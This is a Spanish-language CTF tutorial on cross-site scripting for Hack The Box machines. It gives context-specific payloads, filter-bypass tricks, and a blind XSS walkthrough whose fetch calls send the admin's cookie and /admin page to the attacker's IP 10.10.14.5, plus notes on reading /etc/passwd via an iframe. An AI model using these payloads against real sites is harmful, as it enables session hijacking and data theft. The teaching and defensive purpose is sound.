XSS en CTF: robar la cookie del admin con un blind XSS
Cómo encontrar un XSS, saltarte filtros típicos y robar la cookie del administrador con un blind XSS, como en las máquinas de Hack The Box.
Un Cross-Site Scripting (XSS) ocurre cuando la web mete tu texto en una página sin escaparlo y el navegador lo ejecuta como JavaScript. En la vida real sirve para robar sesiones o actuar en nombre de la víctima; en las máquinas de Hack The Box casi siempre hay un bot que hace de administrador y revisa lo que envías (un formulario de contacto, un ticket, un informe de errores), así que el objetivo es robarle la cookie o hacer peticiones como él.
Los tres tipos, en una frase
| Tipo | Dónde vive el payload | Cómo llega a la víctima |
|---|---|---|
| Reflejado | En la URL o en un parámetro de la petición | Le haces abrir un enlace |
| Almacenado | En la base de datos (comentarios, perfil, tickets) | Lo ve cualquiera que abra la página |
| DOM | Solo en el navegador: JavaScript que lee location, hash o postMessage |
Enlace o mensaje |
Cuando no ves dónde se pinta tu texto (lo revisa un administrador en otro panel) se habla de blind XSS. Es el caso más habitual en CTF.
Encontrarlo
- Mete una cadena única en cada campo:
zzz'"<>y busca en la respuesta (Ctrl+U o Burp) dónde sale y qué caracteres sobreviven. - Según el contexto, el payload cambia:
| Tu texto sale... | Payload para probar |
|---|---|
Entre etiquetas: <p>AQUÍ</p> |
<img src=x onerror=alert(1)> |
Dentro de un atributo: value="AQUÍ" |
" autofocus onfocus=alert(1) x=" |
Dentro de un script: var n = 'AQUÍ'; |
';alert(1)// |
En un href: <a href="AQUÍ"> |
javascript:alert(1) |
Truco
Usa alert(document.domain) en vez de alert(1): si el XSS cae en un iframe de otro dominio, lo verás enseguida.
Blind XSS: robar la cookie del administrador
Levanta un servidor que registre las peticiones y manda un payload que llame a tu IP:
python3 -m http.server 80
<img src=x onerror="fetch('http://10.10.14.5/?c='+btoa(document.cookie))">
<script src="http://10.10.14.5/x.js"></script>
La segunda forma es la más cómoda: el payload es corto y cambias lo que ejecuta editando x.js en tu máquina, sin volver a enviarlo:
// x.js: manda la cookie y la página que ve el admin
fetch('http://10.10.14.5/c?' + btoa(document.cookie));
fetch('/admin').then(r => r.text()).then(t =>
fetch('http://10.10.14.5/p', {method: 'POST', body: t}));
Cuando llegue la cookie, ponla en tu navegador (pestaña Storage de las herramientas de desarrollo) y recarga. Si el campo no sale en la web, prueba todos los campos y también las cabeceras User-Agent y Referer: muchos paneles de administración las pintan.
Importante
Si la cookie lleva la marca HttpOnly, JavaScript no la puede leer y document.cookie vuelve vacía. No pasa nada: usa el XSS para hacer peticiones como el administrador (leer /admin, crear un usuario, cambiar su contraseña) y mándate la respuesta como en x.js.
Saltarse filtros típicos
| Si bloquean... | Prueba |
|---|---|
<script> |
<img src=x onerror=...>, <svg onload=...>, <details open ontoggle=...> |
| Espacios | <svg/onload=alert(1)> |
| Paréntesis | alert`1` o onerror=alert;throw 1 |
| Comillas | String.fromCharCode(...) o plantillas con acento grave |
La palabra alert o cookie |
window['al'+'ert'], document['coo'+'kie'] |
| Todo lo anterior | Codifica el código en base64 y ejecútalo con eval(atob('...')) |
Si la web pasa tu texto por un filtro en el servidor y otro en el cliente, mira el JavaScript: a veces el filtro solo existe en el navegador y basta con enviar la petición desde Burp.
Más allá de la cookie
- CSRF a través del XSS: con JavaScript en el dominio de la víctima puedes leer el token anti-CSRF y enviar cualquier formulario.
- XSS → RCE: en aplicaciones de escritorio con Electron, en paneles que generan PDF con un navegador (lee
file:///etc/passwdcon un<iframe>) o en paneles de administración con una función de "subir plugin". - Escaneo interno: el navegador del bot está dentro de la red; desde él puedes hacer
fetcha servicios que tú no ves (como un SSRF desde el cliente).
Defensa en dos líneas
Escapar siempre la salida según el contexto (HTML, atributo, JavaScript, URL), usar plantillas que lo hacen por defecto, marcar las cookies como HttpOnly y SameSite, y añadir una política CSP que no permita unsafe-inline.
Para el resto de fallos web, sigue la checklist de pentesting web o la ruta Pentesting web.